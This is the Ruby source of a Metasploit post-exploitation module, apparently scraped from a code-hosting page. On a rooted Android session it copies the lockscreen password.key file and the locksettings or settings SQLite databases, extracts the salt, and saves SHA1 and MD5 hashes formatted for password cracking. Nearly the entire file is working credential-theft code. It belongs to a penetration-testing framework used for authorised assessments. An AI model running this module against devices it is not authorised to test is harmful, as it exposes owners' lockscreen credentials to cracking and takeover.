Path: blob/master/modules/post/android/gather/hashdump.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'sqlite3'6require 'fileutils'78class MetasploitModule < Msf::Post910include Msf::Post::File11include Msf::Post::Android::Priv1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Android Gather Dump Password Hashes for Android Systems',18'Description' => %q{19Post Module to dump the password hashes for Android System. Root is required.20To perform this operation, two things are needed. First, a password.key file21is required as this contains the hash but no salt. Next, a sqlite3 database22is needed (with supporting files) to pull the salt from. Combined, this23creates the hash we need. Samsung based devices change the hash slightly.24},25'License' => MSF_LICENSE,26'Author' => ['h00die', 'timwr'],27'SessionTypes' => [ 'meterpreter', 'shell' ],28'Platform' => 'android',29'References' => [30['URL', 'https://www.pentestpartners.com/security-blog/cracking-android-passwords-a-how-to/'],31['URL', 'https://hashcat.net/forum/thread-2202.html'],32],33'Notes' => {34'Stability' => [CRASH_SAFE],35'SideEffects' => [],36'Reliability' => []37}38)39)40end4142def read_store_sql(location)43# we need the .db file, as well as the supporting files .db-shm and .db-wal as they may contain44# the values we are looking for45db_loot_name = ''46file_name = File.basename(location)47['', '-wal', '-shm'].each do |ext|48l = location + ext49next unless file_exist?(l)5051f = file_name + ext52data = read_file(l)5354if data.blank?55print_error("Unable to read #{l}")56next57end5859print_good("Saved #{f} with length #{data.length}")6061if ext == ''62db_loot_name = store_loot('SQLite3 DB', 'application/x-sqlite3', session, data, f, 'Android database')63next64end6566loot_file = store_loot('SQLite3 DB', 'application/binary', session, data, f, 'Android database')6768# in order for sqlite3 to see the -wal and -shm support files, we have to rename them69# we have to do this since the ext is > 370# https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/auxiliary/report.rb#L39171new_name = "#{db_loot_name}#{ext}"72FileUtils.mv(loot_file, new_name)73end7475SQLite3::Database.new(db_loot_name)76end7778def run79unless is_root?80fail_with(Failure::NoAccess, 'This module requires root permissions.')81end8283manu = cmd_exec('getprop ro.product.manufacturer')8485print_status('Attempting to determine unsalted hash.')86key_file = '/data/system/password.key'87unless file_exist?(key_file)88print_error('No password.key file, no password on device.')89return90end9192hash = read_file(key_file)93if hash.empty?94print_error("Unable to read #{key_file}, and retrieve hash.")95return96end97store_loot('Key', 'plain/text', session, hash, 'password.key', 'Android password hash key')98print_good('Saved password.key')99100print_status('Attempting to determine salt')101os = cmd_exec('getprop ro.build.version.release')102vprint_status("OS Version: #{os}")103104locksettings_db = '/data/system/locksettings.db'105locksettings_sql = "select value from locksettings where name='lockscreen.password_salt';"106unless file_exist? locksettings_db107vprint_status("Could not find #{locksettings_db}, using settings.db")108locksettings_db = '/data/data/com.android.providers.settings/databases/settings.db'109locksettings_sql = "select value from secure where name='lockscreen.password_salt';"110end111112begin113vprint_status("Attempting to load lockscreen db: #{locksettings_db}")114db = read_store_sql(locksettings_db)115if db.nil?116print_error('Unable to load settings.db file.')117return118end119salt = db.execute(locksettings_sql)120rescue SQLite3::SQLException121print_error("Failed to pull salt from database. Command output: #{salt}")122return123end124125salt = salt[0][0] # pull string from results Command output: [["5381737017539487883"]] may also be negative.126127# convert from number string to hex and lowercase128salt = salt.to_i129salt += 2**64 if salt < 0 # deal with negatives130salt = salt.to_s(16)131print_good("Password Salt: #{salt}")132133sha1 = hash[0...40]134sha1 = "#{sha1}:#{salt}"135print_good("SHA1: #{sha1}")136credential_data = {137# no way to tell them apart w/o knowing one is samsung or not.138jtr_format: manu =~ /samsung/i ? 'android-samsung-sha1' : 'android-sha1',139origin_type: :session,140post_reference_name: refname,141private_type: :nonreplayable_hash,142private_data: sha1,143session_id: session_db_id,144username: '',145workspace_id: myworkspace_id146}147create_credential(credential_data)148149if hash.length > 40 # devices other than Samsungs have sha1+md5 combined into a single string150md5 = hash[40...72]151md5 = "#{md5}:#{salt}"152print_good("MD5: #{md5}")153credential_data = {154jtr_format: Metasploit::Framework::Hashes.identify_hash(md5),155origin_type: :session,156post_reference_name: refname,157private_type: :nonreplayable_hash,158private_data: md5,159session_id: session_db_id,160username: '',161workspace_id: myworkspace_id162}163create_credential(credential_data)164end165end166end167168169